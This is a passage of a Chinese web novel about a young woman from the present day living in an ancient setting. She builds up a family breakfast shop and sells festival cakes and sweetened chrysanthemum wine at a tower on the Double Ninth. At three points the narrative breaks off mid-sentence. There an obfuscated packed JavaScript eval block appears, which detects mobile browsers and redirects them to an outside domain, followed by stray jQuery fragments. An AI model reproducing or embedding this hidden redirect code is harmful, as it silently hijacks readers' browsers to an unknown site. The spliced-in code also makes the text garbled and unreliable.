陶淑苑笑着：“没事，孩子能吃是福。而且你身子板看着也不壮，多吃点补补身子。” 而且符黎虽然吃的速度很快，但吃相干净，一点不邋遢。每一口食物都好好咀嚼后再咽下，嘴角和桌子上都无半点污物，让人看着就心生好感。 见他如此喜欢，陶淑苑笑着对闵晞说：“看来这包子日后应该也卖得不错。” 闵晞点点头：“我也这么觉得。” 符黎听了更是急匆匆：“如果以后开始卖了，我一定是回头客。” 闵晞见他那样，忍不住笑出了声。 本以为文人学者都是很正经的，哪知道符黎表面上看着倒是儒雅稳重，仪态端正，没想见了美食却变了个样，看食物的眼神比看书本还要亮。 这要是以现代的眼光来看就是个不折不扣的大吃货啊。 符黎吃完后本想给陶淑苑钱，却被一把回绝了。 “听闻你还在教导晞儿习字，那这钱我可是万万不能收的。”陶淑苑一本正经道：“只是一顿饭而已，花不了几个钱。不如说先生的教导更是贵重呢。” “真要较真的话，反倒是我们要给束脩呢。” 见陶淑苑都这么说了，符黎也不好再给钱了，只道：“那便应了陶婶的话，以后在下一定会更用心教导闵姑娘习字的。” 等等，闵晞一听这话琢磨着有些不对劲。她练字只是想把字写好看一点就行了，怎么现在这架势大有让她勤加练习，不练出个名堂不罢休的意思？ 她们闲聊之际，闵晞把空了的碗收走洗净，还顺手给符黎包了几个包子，让他带回去同双瑞一起吃。 “公子身边只有双瑞一人伺候，还是让他也吃些好的，别饿着了。” 符黎笑着接过：“那在下就替双瑞谢过了。” 等闵晞和陶淑苑带着剩下的包子回家时，他们吃的和符黎一样，只多不少，但这吃相可就难看了不少。 闵晞本来还想给他们炒两个菜，但闵达彬摆摆手说不用，这包子里有菜有肉，哪还需要开火再做饭？闵彦听了也赞同，两人一起蹲坐在院子里吃包子。 闵晞看着自家那不成器的哥哥，再想想那勤勉好学的符黎，心里是直叹气啊。 就他这样的，以后哪家姑娘愿意嫁给他？ 11. 第 11 章 眼见着新做的包子受到了家人一致好评，闵晞也同菜摊老板商量妥当，按时按需送过来这些蔬菜。 “你们家这生意是越做越好了。”摇着蒲扇的店老板笑着看向闵晞：“来我这里订的货也是越来越多了。” 闵晞老实道：“那也是托了您的蔬菜新鲜的福呀，要不然客人来了吃着这食材不新鲜，还会有客人来吗？” 菜摊老板听了是哈哈笑着：“你这孩子，年纪不大，倒是会给我戴高帽。找了我就放心吧，保准每次都给你送的是当天的新菜。” 说定好后，包子过了几天便开始贩卖，来的人尝了也是十分欢喜。这刚出炉的包子，摆放整齐，大小相近，看着就可爱。 吃一口油汪汪的，香而不腻，又比馒头多了荤腥。相较之下不少男人都更喜欢吃包子，吃了有力气可以更好地去干活。 至于这价格闵晞也没多算，通通三文一个。如果是在城东或者城南这种繁华的地方，加上房租人工什么的，闵晞觉得至少要卖五六文一个。 因着活多了，来的客人也多了。闵晞后面同母亲商量了一下，决定给闵彦找点事干，让他别再闲着了。 “什么？让我去做店小二？”闵彦听了后叫道：“洗碗擦桌子也是我来？？” 闵晞双手叉腰：“那当然了，现在店里客人越来越多，你觉得只靠我和母亲两个人忙得过来吗？” “你和父亲天天没事干不觉得荒废人生吗？难道不想给自己找点事做？” 眼瞅着闵彦不愿的样子，闵晞叹了口气，敲了敲桌子对他道：“干活可是有月钱的哦。” “什么有工钱？”闵彦听到这有了点兴趣。 “你不是正嫌没银子花吗？”闵晞暗示着：“本来雇人干活就是要给钱的啊。给外人也是给，那为何不给自家人。你要是来店里干活的话，那我想想，就给……” “给多少给多少？！”闵彦听到这音调不自觉拔高，连脖子都伸了过来。 “五百文吧。”闵晞用手指算了算：“平常也够你买零嘴了。” 这五百文实际上也不多，闵彦听了也是不大满意：“能不能再多一点？我听说别人都有七八百文呢。” 闵晞摇摇头：“你别忘了我们店现在只做上午，到了下午就不做了。你就干半天的功夫还想要和旁人赚一样多的钱是不是不太合理？” 一听好像也是这么个理，而且只做半天的话，他下午也可以去玩。 见闵彦心动了，闵晞拍了拍他的肩膀：“好哥哥，想想我们的母亲，自幼为我们做了多少事，你难道不想为母亲排忧解难吗？母亲之前还说腰也疼脚也酸呢，你看母亲年纪不大，但光从面相看上去却像是个快过百的人，难道不想让母亲多休息一会儿吗？” 听到这，耳根子软的闵彦终是同意了。 “那好吧。” 就这样，有了闵彦的加入后，陶淑苑的工作量是轻松了不少。至于闵彦，闵晞考虑着早上他来那么早也没碗洗，也没客人接待，便特许让他晚上一个时辰后再来铺子做活。 这下一家三口都有活干，家里就只剩下了闵达彬。本来闵达彬弄的茶馆平日里也没什么人来，自从早点铺慢慢赚钱后，陶淑苑便让他再别去了，往日里守在家里为家人浆洗衣物打扫卫生就好。 闵达彬一开始听了不太喜欢，因为身为男子怎么可以像女人一样在家里待着。但闵晞如果不同意的话也可以去洗碗招呼客人，让闵彦待在家里。 闵达彬听见要让他去干这种活，也有些拉不下脸。但鉴于家人们都在干活，就他一个人躺着不动也实在是不好意思。更重要的一点是闵晞之前说过不干活就没饭吃。 闵达彬一听那可坚决不行！ 现在闵晞做的菜是越来越好吃，要是再让他回到从前，那可受不了。 想到这，闵达彬肚里的馋虫是第一个不同意，于是他不得已同意了。 虽然也有不少邻居见闵达彬偶尔出去瞎溜达，走街串巷。但鉴于他也没做什么伤天害理的事，所以闵晞也就任他去了。 这下自从这包子开始做以后，店里的人是一天天增多了。 甚至连私塾里的范正和袁枚昌等人，更是隔三岔五就帮其他的小伙伴带包子。因为数量之多，所以闵晞都让他提前招呼一声，她好那天多蒸两笼出来，以免当天不够卖。 “陶婶子，”见庄博又来吃饭，陶淑苑笑着招呼他：“今日想吃什么？” 面相质朴的庄博只道：“给我两种肉包子各来一个就好。” 随后庄博看向了闵晞，脸上挂着憨厚的笑意。闵晞听了他的话，利索地准备好了包子，让闵彦端了过去。 等庄博吃完走了后，闵彦趁着人少的时候走到闵晞身边。 “这个庄博经常来吃饭？”闵晞想了下：“偶尔吧，反正是常客。” “怎么你认识？” 闵彦皱了皱眉：“都是街坊邻居的，自然是听过一点。你说他是不是喜欢你？所以才来吃饭？” 听闵彦这么说，闵晞愣了愣：“真的吗？” 闵彦一眼笃定着：“那当然了，你一直在忙没空看他们，可我都看见了。自打庄博一进门我就见他一直瞧着你，肯定是不怀好意。” “而且他们家是务农的，哪有那么多闲钱天天来店里吃饭，肯定是对你别有所图！” “你可离他远点！” 看闵彦那副嫉恶如仇样子，闵晞笑着：“咱们娘亲可喜欢他了，说他人又老实又会干活，比你强多了。” 听闵晞这么说，闵彦的脸上闪过一丝尴尬的神情，随后他立马道：“就算他人还可以，但是他家里人可不太好。我是这个意思！” 一见有八卦，闵晞立马竖起了耳朵：“怎么说？” 闵彦：“你应该知道庄博的母亲早逝，他上面还有两个姐姐，他们都是父亲照顾大的吧？” 闵晞点点头。 闵彦接着说：“庄博的父亲年轻时经常干重活，现在身子骨不太行了，需有人照顾。但除了这个之外其他都还好。关键是他那两个姐姐，可不好对付。” “这你都知道？” 闵彦抚了抚下巴：“那是，也不看我每天在外面闲逛多久，我知道的事可多了，比母亲都多。” “看你还挺得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594724|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的样子……” “这庄博上面的两个姐姐，一个前年出嫁了，但是丈夫却因水患死了，所以就回来了，听说回来还带了夫家不少钱呢。”庄博摸着下巴回忆着：“只是回来后，旁人说她脾气就不太好，也不知道怎么回事。” “而他的另一个姐姐也不是好惹的，仗着自己长得还行，成天在家里吆五喝六的，没少指示庄博做事呢。” “那句话怎么说来着？没有小姐的命，却有了小姐的脾气。说的就是他们庄家二姐。要不然怎么到了年纪都没有人来求娶呢。” 闵彦继续喋喋不休着：“俗话说长姐如母，这庄博看着是个老实巴交的，估计在家里没少被他那两个姐姐指示。” 闵晞道：“那和我有什么关系？” 闵彦双眉紧皱：“意思就是你要是因为庄博人不错就想嫁过去的话，肯定要被那两个恶毒姐姐欺负！” “而且他们那个爹肯定也要你来照顾，你就一个人，怎么照顾得了那么多人？” 闵晞听了扑哧一声笑了：“你这小子，竟这么会八卦，我看你改名叫长舌夫算了。” 闵彦见闵晞不当回事：“反正我话放这，你可少和他接触。之前我和三狗在河边玩，因为三狗玩水漂不小心弄了水在那个二姐身上，她追着我们莫名其妙训斥了一顿。” “真是个疯子。” 闵晞摇摇头：“你想太多了，你都没娶到媳妇，我又怎么会出嫁呢。再说家里钱都没有，怎么准备聘礼和嫁妆呢？” “这倒也是……” “所以哥哥你还是多多努力赚钱吧，”闵晞反过头来教育他：“要不然可小心娶不到媳妇哦。” “毕竟你年龄可比我大。” “哎你这小丫头……”闵彦心想好心提醒她却被反教育了一番，心里着实不太爽。 不爽是一回事，不过她说的也是实情。 来到这里时间一久，闵晞了解到这里的女子早的话十六七就出嫁了。如果大户人家的父母舍不得，会让女儿留在身边久一点再出嫁，但最久也不过二十。要等到二十还没出嫁的话，就有了类似“老姑娘”这类的不好头衔传出。 男子则好上许多，不过要是等二十二岁都还没有娶到媳妇或者定亲的话，也会有闲话传出，说这个男的可能哪里不行，所以才讨不到媳妇。 只是眼下闵晞并没有其他的意思，不管是这具身体还是年龄于她而言都太小了。 十六岁的年纪按照现代来看都是童工的范畴。加上生意逐渐起步，她还有很多事需要盘算，比如把店铺装修一下，给家里买些衣柜几案等等，这些可都是要花钱的。 至于结婚就更麻烦了，古代结婚可不比现代，要是眼睛不好挑了个像是她爹又或者是闵彦这种没担当的男人，就算可以离婚，那过程也很麻烦。 毕竟这个社会对男性总是给予无限的优待，女性实在有太多的身不由己。 她不想成为那样的人。 所以在达成经济自由以前，她是不会去想其他的事情。 有了钱在家中才有话语权，不管从哪个朝代开始，这都是亘古不变的道理。 12. 第 12 章 转眼间夏日的炎热渐渐褪去，蝉鸣的声音渐渐稀疏了不少。秋风送来了一阵阵的凉爽，让指尖的黏腻感少了些许。偶然路过一瞥湖里，往日里绽放的正艳的粉莲也慢慢低下了头颅。就连岸边的树木，边缘也悄悄染上了一层莹黄。 这一切的一切都预示着接下来季节的变化。 临近九月初九，对于古代人来讲一个重要的传统节日即将来临，那就是重阳节。 闵晞从母亲那听得重阳节那天有许多活动，不外乎登高望远、佩戴茱萸、祭祖放风筝、赏菊饮酒，和吃重阳糕这类活动。 “听说登高山可以趋避邪气，祈求福寿，咱们那天也闭店一天出去爬爬山？”闵彦正擦着桌子：“母亲和妹妹以为如何？” 陶淑苑一眼看穿他的阴谋：“我看你啊，就是想趁着这天休息是吧？还爬山，怕不是在山脚下走走就打道回府了。” 闵晞听了当即笑出声，闵彦被拆穿也不恼，只道：“难道母亲不想去吗？” “咱们天天围着这个小铺子转，要知道钱是赚不完的，也是时候休息休息了。” 他这句话闵晞倒是同意，钱是赚不完的，但是这节日一年却只有一次。所以闵晞同母亲商议后，决定那天闭店一天，全家人可以去郊外爬爬山，锻炼锻炼身体。 谈完这件事后，闵达彬第二天就从集市上买了些新鲜的茱萸和菊花酒。 闵晞尝了尝菊花酒，古代的酒制作简单，度数也不高。这菊花酒主要是采用重阳节前后盛开的□□或白菊，将花瓣洗净晾干后，再按照一定的比例加入提前制作好的酒曲。最后密封瓮口，等待发酵十日再过滤去渣放置月余就成了。 有些别出心裁的还会往里加入枸杞，地黄和茯苓等药材制作成强身健体药酒。又或者是薄荷和千里光等药材制作成清热明目的药酒。 闵晞还是第一次喝菊花酒，觉得味道算不上好喝，但是也不难喝。 但母亲说过菊花酒不仅仅是饮品，更承载着“延寿”“辟邪”等一类的信仰与期许。既然话都说到这里了，闵晞虽不是很喜欢但还是一饮而尽，也算是延年益寿了。 只是闵晞虽然决定重阳节那天闭店，但是她仍然打算做一批重阳糕出来，拉到山脚下去卖。 要是在现代，每逢节日，那就是拉动国家GDP的好时候，古代节日也同样。 届时来来往往人之多，就连闭门不出的大家闺秀都会出来。这么一个大好的赚钱机会闵晞肯定不会放过。到时不仅可以赚到比平日里开店多几倍的钱，还可以顺带给自家的早点铺打个广告。 听闵晞这么一说，原本还打算休息一天的陶淑苑眼睛都亮了。可随即她又想到了什么，疑惑道：“晞儿虽然言之有理，可是这重阳糕各大铺子都有售卖，以饴酥坊和福糕轩为首的老糕点铺，最近更是人满为患。晞儿你有什么信心让别人来买你一个无名小卒的糕点呢？” 闵晞微微一笑：“母亲，手艺也是要靠人宣传的，加上我们是在人群最密集的地方贩卖。你想，来来往往这么多人，总会有人累了渴了想买一块来试试。如此，一个人吃了觉得好吃自然会同别人说，一传十十传百大家也都知晓了。” “而且我们的目的只是为了宣传自家的早点铺，所以这重阳糕无需做太多，只是个引子罢了。” 听到了母亲和妹妹的计划，路过的闵彦道：“那你难道又要让我那天去摆摊？我可不去，那天我要去玩！” 闵晞一脸恨铁不成钢的样子：“行，那天你不用做什么，只要帮我把东西运过去就行了。到时，你想去登高还是赏菊都随你” 听闵晞都这么说了，闵彦也勉强同意。 之后闵晞也同父亲说了，闵达彬觉得也可以，点头同意了。见父亲也同意了，闵晞趁热打铁：“爹，是时候帮帮女儿了。最近母亲给了你不少钱吧？” 闵达彬这人，自从闵彦去店里帮忙后，他就让闵彦盯着母女二人，看看她们一天能赚多少钱。虽然钱没有经过闵彦的手，但是闵彦这段时日做下来，心里也有了大概的数，回去偷摸告诉了父亲。 闵达彬得知早点铺这么赚钱，便动了心思时不时给陶淑苑吹枕边风，让他给自己一点家用钱。陶淑苑耳根子软，闵达彬说了几次她也就给了点。只是每次虽然给得不多，但这隔三岔五地下来，闵达彬自己手里也有了点钱。 一谈到钱，闵达彬耳朵都竖起来了：“你什么意思？告诉你那些钱我都花了，一分不剩……” 要的就是这句话，闵晞嘴角挂起了可以称之为邪恶的笑容：“爹，我知道你都花了，而且都拿去买酒了。我都在后院的棚子那里看见了。” “知道你还问我，不让我斗鸡斗蛐蛐也就算了，买点酒总可以吧？” 闵晞笑着道：“当然可以了，而且我还要谢谢爹爹你呢。”闵达彬一脸不知所以的样子，闵晞逐字逐句对他解释着。 临近重阳节，与之相关的所有东西都涨价了，首当其冲的就是这菊花酒和重阳糕。闵晞虽然打算自己做重阳糕，但如果在外卖只卖糕点的话，渴了难免想喝点什么。所以闵晞决定还是弄点菊花酒来卖，只是现在再自己去酿酒什么的也太麻烦了，而且时间也来不及，所以闵晞便把主意打到了亲爹头上。 “听你这意思，你要借酒？”闵达彬神色稍缓。 闵晞点点头：“爹我知道您买了不少酒，其中就有几坛菊花酒，能拿来给女儿用用不？到时候赚的钱连本带利地还给您，绝不私藏。” 一听是这个事，闵达彬放松了身心：“那好吧，可我买的这酒都是普通的酒，味道一般，也就尝个味道。你到时候去卖，能卖得出去吗？” 闵晞笑笑：“自然是要准备一番的，不能就这么直接卖出去，要不然岂不是毁了咱们早点铺的名声，父亲且等着吧。” 见女儿一脸胜券在握的样子，闵达彬想放着也是放着，索性就给她了。卖得不好就拿回家自己喝，要是卖得好还有钱可以拿，何乐而不为。 闵晞得了酒，很快便去药铺买了些□□糖和桂花干来。这两样东西都贵，闵晞不舍得买太多。不过当她了解了蜂蜜和蔗糖的价格后，闵晞瞬觉得这□□糖也不是那么贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603567|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 得了冰糖，闵晞又去买了些枸杞回家。回家后闵晞拿出红枣和从闵彦房里的果脯，把菊花酒倒进锅里煮。等大火煮开，闵晞再把所有的食材都放进去煮，一时间厨房飘来阵阵酒香。 不同于其他的酒，因为加了□□糖、枸杞、红枣，果脯等自带甜味的食材，这菊花酒煮出来的味道比起普通酿制的菊花酒要香甜许多。 再加上□□糖调色，这菊花酒的颜色看起来也宛若蜂蜜般呈现如阳光般温暖的光泽。 煮好后闵晞尝了尝味道。嗯，这甜甜的酒才是她喜欢喝的。 这样的酒可谓色香味俱全，好看又好喝。 等准备好后，就剩下重阳糕的制作了。 重阳糕的制作也不难，需要准备好糯米粉、大米粉、粳米粉和糖粉等材料。先把这些食材搅拌均匀，再少量多次加水后成为絮状，再细细过筛，这样米粉就做好了。 接着往蒸笼上铺湿布，先撒上一层米粉，等蒸至半熟后再铺一层红豆沙，再撒一层米粉继续蒸。等蒸好后最顶端放上山楂和桂花干，切成菱形或者方形即可。 除了红豆沙以外，闵晞还制作了枣泥馅的重阳糕，准备先给家人尝尝。 陶淑苑接过一个重阳糕，见这糕体层层叠叠，雪白的米粉间掺杂着深红色的豆沙馅，光是从外形来看就十分讨巧。再一闻，糖的香味混合着豆沙的甜蜜，再加上氤氲白雾中隐约浮动的桂花清香和酸甜的山楂。可真叫人还未入口，却先勾得人喉咙微颤。 陶淑苑小口吃了吃，发现入嘴后重阳糕入口绵密，糕体软糯却不黏牙，实在是美味，叫人忍不住再尝一块。 闵彦和闵达彬吃了也纷纷叫好，纷纷吃了好几块。可谓叫人唇齿生津，回味无穷。 “少吃些，要不然还没等去卖，就被自家人吃光了。” “实在是晞儿做的这重阳糕味道甚好，”陶淑苑实心赞道：“依我看竟比饴酥坊做的还要好上两分。这饴酥坊做的糕点虽甜蜜，但之前王姨给了我一块，总觉得味道不如以前了。” “所以今日晞儿做的重阳糕让平日里我这个不怎么喜欢吃糕点的妇人都多尝了两块。” 闵彦也回道：“确实，比我买的果脯好吃多了。” 闵晞只笑着：“吃的时候就别说话了，嘴角都在掉渣呢。要是把蚁鼠之类的东西引过来了怎么办？” 说完闵彦匆忙用指腹擦了擦嘴角，拭去了那些白色糕粉。 “妹妹说得是。” 等到重阳节那天，闵晞一家四口早早就起了床，吃了饭后，闵晞拿出早已做好的重阳糕和菊花酒，示意闵彦和闵达彬帮她把酒和重阳糕放在双轮推车上。 “出发吧。”再三确认食物都固定好后，闵晞让两个男人帮忙拉到城里去，届时他们便想去哪就去哪玩。 古时候的登高并不仅局限于爬山，只要在高处就可以。比如亭、台、楼、阁等都可以被称为“登高”。 郊外有两座山距离城里较近，但闵晞想着带那么多东西也不好去太远的地方，便去了城里的一座苍鸣阁。 13. 第 13 章 等到了苍鸣阁脚下，周围已经有三三两两的商贩聚集在两侧。闵晞抬头一看，发现最前面的好位置已经没了，便不再往前，就近停下。 来之前闵晞之前有了解过，城里对于摆摊也有规定，尤其是那种固定的摊子，需要经过一系列手续批准后才能摆摊。但这种临时的摊子则没那么严格，一般来说只要不是摆在路的正中间阻塞交通，不影响市容市貌就好。 “放在这里就好。”闵晞让闵彦停下：“你和父亲去玩吧，记得早些回家。” “那我们先走了，妹妹你们也早些回去。” 父子二人走后，闵晞和陶淑苑把推车固定好，然后架好案板，再把酒和重阳糕摆了一些出来，放在上面。 重阳糕和菊花酒闵晞出发前闵晞都热过一次，现在还带着余温。 刚来的时候人还不是很多，等二人准备好，已经有人陆陆续续朝这边走了过来。 小贩的声音也接二连三地响了起来。 闵晞晃眼看了一圈，发现与她一起卖重阳糕的不在少数。除此之外也有卖菊花、茱萸等物。有心思的还会制成香囊和簪花来卖，那样价格会更贵一点。 看来除了她以外，也有不少人想着小赚一笔。 “茱萸咯，看看茱萸咯，既驱虫又辟邪！” “卖花咯，卖花咯，客官来看看这上好的菊花咯，花瓣上还带着露珠呢！” “茶饮，茶饮！渴了来碗茶饮，饿了还有糕点吃！” …… 看他们喊得起劲，闵晞便也跟着喊了起来。兴许是看她面相稚嫩，长相乖巧。不一会儿就有人过来了。 “娘亲，我想吃这个！”被抱在肩膀上的孩子朝着父亲嚷着。 “好好，喜欢就买。”男人应了孩子，看向闵晞。 “你这重阳糕几文钱一块？” 闵晞老实回答后，那中年人没有立即说买，只盯着看了一会儿。 “这是你自己做的？”须臾后他问道。 闵晞见他这么问着，不由道：“客官好眼光，这是小女子自己做的，客官尝尝，味道可好了。” 一般这种临时摊铺过来贩卖糕点的不是从老字号糕点铺里提前买来卖的，就是自己做的。 不同的是前者价格会更贵，味道有保证。而后者价格不贵，但味道就不好说了。 那男子看闵晞做的重阳糕外观好看，起初还以为是买的现成的来卖。但近看后发现又不是，而且一问价格也不算便宜，所以才心生疑惑。 “小姑娘你这重阳糕的价格可没比饴酥坊的便宜多少，你就这般有信心？” 闵晞保证道：“客官若不信可先尝一块，不好吃不收钱。” 见闵晞都这么说了，岂有不试的道理，那人便拿了一块，递给了一旁的娘子。 “娘子试试？” 等娘子吃了一口后，接连说了两句好吃，那男子才自己也尝了一口。闵晞笑眯眯地看着他又迅速吃了第二口，等他都吃完了才道：“客官觉得如何？” 男子笑着道：“确实好吃，那给我来再来五块吧，正好上山饿了吃。” 陶淑苑利索地用荷叶包了五块给他们，闵晞在旁边继续介绍着：“客官光吃糕点或许觉得干渴，不如顺带来一坛菊花蜜酒。这也是我自己酿的，味道可好了，您也可以先尝尝。” 说到这男子尝了尝闵晞倒出来的酒：“很是醇香，但对我而言还是甜了些，娘子可喜欢？” 小娘子尝了一口后：“我觉得挺好，就买上一小坛吧。” 见娘子都这么说，男人也大方地来了一坛。 第一单生意做成后，后面的生意慢慢就打开了，来的人也多了。闵晞不一会儿就卖出了一大半重阳糕。卖的同时闵晞还不断对大家介绍自己的早点铺，为的就是吸引更多的人来吃饭。 “按照这个势头，咱们下午就卖完了。”陶淑苑看着剩下的糕点道。 “等卖完了咱们也可以去登高。”闵晞看着就近在眼前的苍鸣阁：“来都来了，岂有不去之理。” 她以前可最喜欢旅游了。穿到这里来这么久了，她除了赚钱基本上哪也没去，实在是可惜。 聊着天的功夫，闵晞做的重阳糕还剩最后两笼就卖完了。正当闵晞伸懒腰之际，从旁传来一道女声。 “这重阳糕怎么卖？” 闵晞望去，见眼前的女子不同于刚刚见到的普通市井人家。只见她脸上略施粉黛，发髻做妇人打扮，耳边还戴着黄豆大小的珍珠耳环，衣衫也是当下时兴的款式。再加上身旁还跟着一名丫鬟，一看就是哪家家境还不错的娘子。 见有钱人来了，闵晞更是笑脸相迎，忙着为她介绍着。 “娘子可以先尝尝，不好吃不收钱。” 见闵晞这么说，那娘子也是接过闵晞递来的糕点，小口品尝起来。 递给她的时候闵晞敏锐地注意到了一件不对的事情，没等她再细看，那娘子已经赞道：“这糕点味道确实不错，再给我四块吧。” “好嘞。”火速用荷叶装好后，闵晞递给了一旁的丫鬟。但那丫鬟却不接，反而还有点不爽地看着她，最后还是那名娘子接了下来。 等人走后，闵晞回头同陶淑苑道：“这两个人还真奇怪。” “怎么了？” “那娘子看着装打扮就知家里不错，但递给她糕点的时候我却见她手指有许多老茧和伤痕，你说这是为何？” 陶淑苑不懂：“这娘也不太懂……” “除了这个以外，那个丫鬟也很奇怪。”闵晞回忆着：“我把那糕点递给她她却不接，还是那娘子接下的。你说这丫鬟奇不奇怪？” 陶淑苑摇摇头：“大户人家的事，我们怎会知晓。” “说大户人家也夸张了。”闵晞道：“依我看也就比咱们富裕一些吧。” “假以时日，咱们也可以。” 二人谈笑着，没过一会儿一群学子走了过来，嘴里正高谈阔论着什么。 见人来了，闵晞正大声吆喝着，一道人影就走到了她面前，略带激动地开口：“闵老板怎么在这？” 闵晞抬头一看，站在眼前的不是符黎又是谁呢？除了他以外，闵晞见周遭还有几名和他打扮相同的学子。 之前符黎就告诉过她，他如今正在城东的观澜书院求学。看来周遭和他年龄相仿做学子打扮的都是他的朋友。 “符公子今天也来登高？”闵晞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608935|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道。 “是的，上午和同仁去了菊花宴赏花，这会子又过来登高。” “闵老板这是来卖早点？”符黎说完低头看了一眼，发现并不是之前吃过的早点：“看起来不是，从外观来看倒更像是重阳糕。” 闵晞笑着：“符公子好眼光，今日是重阳节，自然是要应景做些重阳糕。公子可要尝尝？就剩最后一笼了。” 符黎有些意外：“以往只知道闵老板做早点好吃，没想也会做糕点,那我必须得尝尝了。” 一旁的同仁见了，有些好奇：“方才赏花的时候不是吃了重阳糕吗？你是又饿了？” 符黎诚实道：“虽然没饿，但是闵老板做的糕点一定好吃。” “闵老板？”其余的人想了一下：“哦这就是你经常说的那个做早点很好吃的老板？” 符黎点点头：“正是！” “那早点你帮我带过一次，味道确实不错。只是我没想过老板的年纪竟然如此小，真的不是旁边的婶子做的吗？” 陶淑苑听了笑着：“这还真不是，那些好吃的早点都是小女自己琢磨出来的，我也只是个打下手的。” “好不好吃尝尝就知晓了，你们试试。”符黎要了几块重阳糕分给了他们：“我相信一定好吃。” 众人带着疑惑的神情，看了看那糕点。白如雪的糕点被切成整整齐齐的菱形，糕点里夹杂着深红色的枣泥馅，上方撒了不少山楂和桂花干，一看馅就很足。 从外表看着确实不错，和那些糕点铺里没什么不同。 至于这味道嘛……众人带着疑惑尝了一口，而后脸上露出了惊艳的神情。 “这重阳糕味道确实不错，比起那些老字号的糕点铺也不相上下，小姑娘是怎么做出来的？” 闵晞笑了笑却不言语，其实技术都是其次，主要还是食材要新鲜。你看现代的某些餐厅就是商家为了节约成本和金钱，确保出餐速度。所以把大量的食材批量加工，还往里加入了大量的食品添加剂。也就造成了食物失去原本了口感，所以做出来不好吃。 糕点铺里的糕点也是如此。他们会一次性做不少出来卖，如果你赶巧买上了最新出炉的，那味道肯定不差。但要是等放了一两日再来吃，这味道肯定是差了点。要是时间再长一点，那不光味道陈了，外观也不好看了。 就如同她爹爹买的那些粗制滥造的糕点一般，买得便宜没人吃，又舍不得扔，最后只有被老鼠野狗啃食的份。 “看吧，我就说闵老板做得肯定好吃。”见重阳糕被肯定，符黎脸上露出了近似得意的神情：“闵老板如果不开早点铺，开个糕点铺应当生意也很好。” “不光糕点好吃，我这酒也不错。”见他们都很喜欢，闵晞趁机推销着：“你们看，卖得就剩下最后一坛了，几位不如……” 古时候能花钱读书的家境都普遍都不差，更不用说符黎所在的观澜书院，那可是京城里最出名的三大书院之一。 见闵晞这糕点味道不错，另一位学子便爽快道：“那就把剩下的糕点和着坛酒都包起来吧。” “好嘞！”闵晞笑着应下了：“那在下先谢谢各位了，同时提前祝贺各位学子步步高升，蟾宫折桂。” 14. 第 14 章 听了漂亮话，在场的学子都很开心，尤其是买了那坛酒和糕点的学子。符黎只道：“闵老板的酒一定也很好喝，只可惜只有这一坛了，要不我也想买来试试。” “这有何妨？”买了酒的学子大方道：“等我们到了苍鸣阁最高处，再喝了这菊花酒，岂不美哉？” 在场的人听了纷纷说是。 符黎回头对闵晞道：“既然闵老板和陶婶子都在此处，不如一同前往？” 闵晞点点头，本来她也是打算去的。不过陶淑苑道：“你们去就行了，我把这推车推回去。那苍鸣阁以前和你爹去过无数次了，你们去吧。” 怎么这话听着有些奇怪？但闵晞忽略不计，只是对母亲不太放心：“娘可推得动？” 陶淑苑朝女儿投去宽慰的眼神：“说什么呢？东西都卖完了，就一副空架子能有多重？娘年轻的时候还搬过比这重不少的东西呢。” 听母亲都这么说了，闵晞也放下心：“那我就去了，晚些回来。” 说完后闵晞同符黎众人一起向苍鸣阁走去。 这苍鸣阁修建已有百年，可以说是城内数一数二的老建筑。苍鸣阁依水而建，共有六层，整体由六十根圆柱支撑。楼外还有亭台、牌坊、宝塔等建筑环绕，整体威严大气，檐下四面都悬挂着前朝书法家陈御题字的金匾。 闵晞刚进第一层，就发现正中宏伟的藻井，藻井造型十分精致，复杂的花样纹路层层叠叠，犹如一朵倒挂的金莲。交错的卯榫不用一钉一瓦就可死死固定住，足以见证当时匠人的高超技艺。 再看其正面壁上有一幅巨大的山水画，画里描绘的场景正是从苍鸣阁最高处向外望见的东月湖的风光。 闵晞低头瞧见自己脚踩的汉白玉砖，心想不愧是名楼，这里面的一砖一瓦，一草一木都十足的珍贵。 来到第二层，闵晞见正面墙上用大理石镌刻了古往今来不少知名文人撰写的有关苍鸣阁的诗词。侧面则描写了苍鸣阁的由来和名人轶事。 闵晞觉着有趣便多看了会，同符黎一起的学子也逐一看着前辈的诗词，偶尔点评两句。 再往上第三层第四层，随着一步一步地攀高，这阁楼外的风景也是越来越好。等到了最高层，闵晞往外看去，见远方的东月湖上有不少画舫和渔船慢慢游弋着，留下阵阵涟漪。 再仔细一听，似乎还能听见画舫上传来的欢声笑语和悠扬琴音。 而正东月湖也因他们泛着粼粼金光，像是一条蜿蜒的丝带，悠悠地飘向天际。 